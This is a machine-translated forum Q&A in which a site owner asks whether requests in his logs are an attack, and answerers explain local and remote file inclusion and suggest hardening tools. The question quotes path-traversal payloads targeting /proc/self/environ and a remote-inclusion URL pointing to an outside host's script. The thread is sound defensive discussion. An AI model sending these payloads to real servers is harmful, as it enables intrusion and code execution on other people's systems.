isso é uma tentativa de invasão?

Examinando meus 404 logs, observei os dois URLs a seguir, os quais ocorreram uma vez:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

e

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

A página em questão library.phprequer uma typevariável com meia dúzia de valores aceitáveis ​​diferentes e, em seguida, uma idvariável. Portanto, um URL válido pode ser

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

e os IDs são executados mysql_real_escape_stringantes de serem usados ​​para consultar o banco de dados.

Sou um novato, mas me parece que esses dois links são simples ataques contra o webroot?

1) Qual a melhor forma de se proteger contra esse tipo de coisa além do 404?

2) Devo permaban o (s) IP (s) responsável (s)?

EDIT: também acabei de notar este

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: O IP ofensivo para todos os três ataques foi o 216.97.231.15rastreio para um ISP chamado Lunar Pages localizado nos arredores de Los Angeles.

EDIÇÃO 3: Decidi ligar para o ISP na sexta-feira de manhã no horário local e discutir o assunto com quem eu puder telefonar. Vou postar os resultados aqui em 24 horas ou mais.

EDIÇÃO 4: acabei enviando um e-mail aos administradores e eles responderam primeiro que "estavam pesquisando" e, um dia depois, com "esse problema deve ser resolvido agora". Infelizmente, não há mais detalhes.

0) Sim. No mínimo, é uma investigação sistemática contra o seu site, tentando descobrir se ele é vulnerável.

1) Além de garantir que seu código esteja limpo, não há muito o que fazer, mas execute seus próprios testes no host para garantir que seja seguro. O Google Skipfish é uma das muitas ferramentas para ajudá-lo lá.

2) eu faria.

Este é um ataque, é muito explicado aqui .

Como dito por outros: sim, é uma tentativa de invasão. Esteja ciente de que, além desta tentativa possivelmente feita à mão, existem muitas e muitas automatizadas executadas por botnets. Geralmente, esse tipo de ataque tenta se infiltrar em vulnerabilidades antigas e / ou em algumas falhas típicas de codificação, como falha na validação de entrada do usuário que leva à injeção de SQL, vazamento de sistema ou arquivo ou similar.

O banimento desses botnets manualmente é provavelmente impossível, já que os botnets podem usar até milhares de endereços IP exclusivos. Portanto, se você quiser bani-los, precisará usar algum tipo de programa de banimento automatizado. fail2ban vem à minha mente; faça reagir a eventos mod_security ou a outras entradas de log.

Se o seu código estiver limpo e o servidor protegido, essas tentativas de invasão serão apenas uma poluição irritante de log. Mas é melhor tomar medidas preventivas e considerar alguns ou todos os itens a seguir, dependendo de suas necessidades:

• O mod_security é um módulo Apache que filtra todos os tipos de tentativas típicas de hackers. Também pode restringir o tráfego de saída (a página que seu servidor enviaria a um cliente) se vir JavaScript suspeito etc.

• Suhosin para fortalecer o próprio PHP.

• Execute seus scripts PHP como um usuário que possui o script; coisas como suphp e php-fpm tornam isso possível.

• Monte seu diretório temporário webroot e PHP como noexec, nosuid, nodev .

• Desative funções desnecessárias do PHP, como sistema e passthru .

• Desative módulos PHP desnecessários. Por exemplo, se você não precisar de suporte IMAP, não ative-o.

• Mantenha seu servidor atualizado.

• Fique de olho nos logs.

• Verifique se você tem backups.

• Planeje o que fazer se alguém o invadir ou outro desastre o atingir.

Esse é um bom começo. Existem ainda medidas mais extremas, como Snort e Prelude , mas elas podem ser um exagero para a maioria das configurações.

É bem provável que a máquina que está fazendo essas consultas seja um zumbi de botnet. Se você está recebendo essas solicitações de vários IPs, provavelmente não vale a pena bani-las, porque você precisaria banir metade da Internet para que ela seja eficaz.

Como já foi dito - é uma tentativa de acessar o arquivo / proc / self / environ para obter mais informações.

Eu suponho que é uma máquina linux:

Você deveria usar

• suhosin ( http://www.hardened-php.net/suhosin/ ) - Protege scripts php
• usar restrição php openbasedir
• fail2ban http://www.fail2ban.org/

Você pode bloquear o ip de um servidor atacante, mas considere que ele pode não estar atacando o recurso.

Eu costumava bloquear alguns serviços quando meu servidor estava sob ataque: http / https / pop / imap / ssh, mas deixava o smtp aberto, que você pode ser notificado se cometer um erro.

Sim, é uma tentativa de invasão. Você definitivamente deveria proibir o IP. Se você determinar que o IP está fora do país, poderá apenas banir toda a sub-rede à qual ele pertence. Isso é menos um problema de código do que um problema de servidor. Procure essa intrusão específica e verifique se o seu provedor de hospedagem não está vulnerável a ela ou a tentativas semelhantes de script kiddie (que é a aparência dessa).

Esta é uma tentativa de explorar uma potencial vulnerabilidade arbitrária de inclusão de arquivos locais em scripts do lado do servidor acessíveis por meio do servidor da web. Em um sistema Linux vulnerável, /proc/self/environpode ser abusado para executar código arbitrário no lado do servidor.

Conforme recomendado por Janne Pikkarainen:

Fique de olho nos logs.

Verifique se você tem backups.

Como parte desses logs, é importante monitorar as alterações de qualquer um dos seus arquivos, incluindo o site, como parte de um sistema de detecção de intrusões. Um exemplo é o OpenBSD que faz isso por padrão para os arquivos de configuração. Trago isso à tona porque:

• Para o Cloud Sites, houve modificações sutis nos arquivos PHP em um site personalizado (isso apenas produzia uma tag não-padrão, mas talvez uma parte de um teste para medir a magnitude da exploração).
• Para um colega de trabalho, houve redirecionamentos sutis no arquivo .htaccess do WordPress (apenas referências dos resultados de pesquisa do Google).
• Para outro colega de trabalho, houve modificações sutis no arquivo de configuração do Joomla (não me lembro o quê, acho que foi um redirecionamento sob certas condições).